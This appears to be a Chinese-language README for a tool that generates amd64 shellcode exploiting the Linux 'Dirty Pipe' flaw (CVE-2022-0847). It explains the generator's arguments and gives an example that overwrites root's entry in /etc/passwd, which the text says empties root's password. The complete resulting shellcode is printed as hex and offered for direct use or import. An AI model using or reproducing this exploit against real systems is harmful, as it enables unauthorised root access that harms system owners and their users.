此仓库包含一个基于 pwntools 的 Python 脚本(gen_shellcode.py),用于生成实现 CVE-2022-0847 的 shellcode。
该 shellcode 基于此 PoC:antx。
我使用 strace 分析了该 PoC 的代码及其执行过程,以捕获利用所需的所有系统调用;起初我编写了一个使用 syscall.h 的 C 程序,它虽然不适合用作 shellcode,但具有良好的参考价值,因此我将其一并放在这里(tiny_cve-2022-0847.c)。
生成 shellcode 的函数接受 3 个参数:要写入的文件路径、要写入的数据以及数据写入的偏移量。
可在 shellcode.asm 中找到以 objdump 反汇编格式生成的 shellcode 示例;它由以下参数生成:
/etc/passwd:$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n4它会使 root 账户的密码为空。
$ python gen_shellcode.py
Usage: gen_shellcode.py filename data offset [verbose (any value here sets verbose to True)]
你可以导入生成 shellcode 的 cve_2022_0847 函数,以便在其他脚本中调用它,也可以直接使用此脚本;其中有一个 example_usage 函数,它会调用 cve_2022_0847 并生成包含该 shellcode 的 ELF 文件。
cve_2022_0847 还会执行一些基本健全性检查;如果设置了 verbose 参数,它会打印利用可能出错的地方以及反汇编后的 shellcode。
它返回汇编后的 shellcode。main 函数使用命令行参数调用 cve_2022_0847,并以 C 风格的十六进制打印生成的 shellcode,即不解码可打印字节。例如:
$ python gen_shellcode.py /etc/passwd ":$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n" 4
Resulting shellcode:
\x68\x72\x76\x65\x01\x81\x34\x24\x01\x01\x01\x01\x48\xb8\x2f\x65\x74\x63\x2f\x70\x61\x73\x50\x48\x89\xe6\x6a\x9c\x5f\x31\xd2\x31\xc0\x66\xb8\x01\x01\x0f\x05\x48\x83\xec\x10\x48\x89\xe7\x6a\x16\x58\x0f\x05\x6a\x05\x5f\x31\xf6\x66\xbe\x08\x04\x6a\x48\x58\x0f\x05\x49\x89\xc7\x4d\x89\xfe\x6a\x05\x5f\x48\x81\xec\x00\x10\x00\x00\x48\x89\xe6\x31\xd2\xb6\x10\x4d\x85\xff\x74\x0a\x6a\x01\x58\x0f\x05\x49\x29\xd7\xeb\xf1\x4d\x89\xf7\x6a\x04\x5f\x4d\x85\xff\x74\x09\x31\xc0\x0f\x05\x49\x29\xd7\xeb\xf2\x6a\x03\x45\x31\xd2\x6a\x01\x41\x58\x45\x31\xc9\x6a\x03\x5f\x6a\x05\x5a\x48\x89\xe6\x31\xc0\x66\xb8\x13\x01\x0f\x05\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x72\x69\x5d\x6f\x01\x01\x01\x48\x31\x04\x24\x48\xb8\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x50\x48\xb8\x4c\x62\x79\x2f\x3a\x30\x3a\x30\x50\x48\xb8\x75\x73\x61\x6d\x47\x70\x6f\x47\x50\x48\xb8\x50\x4b\x37\x6d\x32\x33\x47\x4a\x50\x48\xb8\x3a\x31\x36\x39\x32\x33\x71\x52\x50\x48\x89\xe6\x6a\x05\x5f\x6a\x2d\x5a\x6a\x01\x58\x0f\x05\x31\xff\x31\xc0\xb0\xe7\x0f\x05
仅支持 amd64 架构。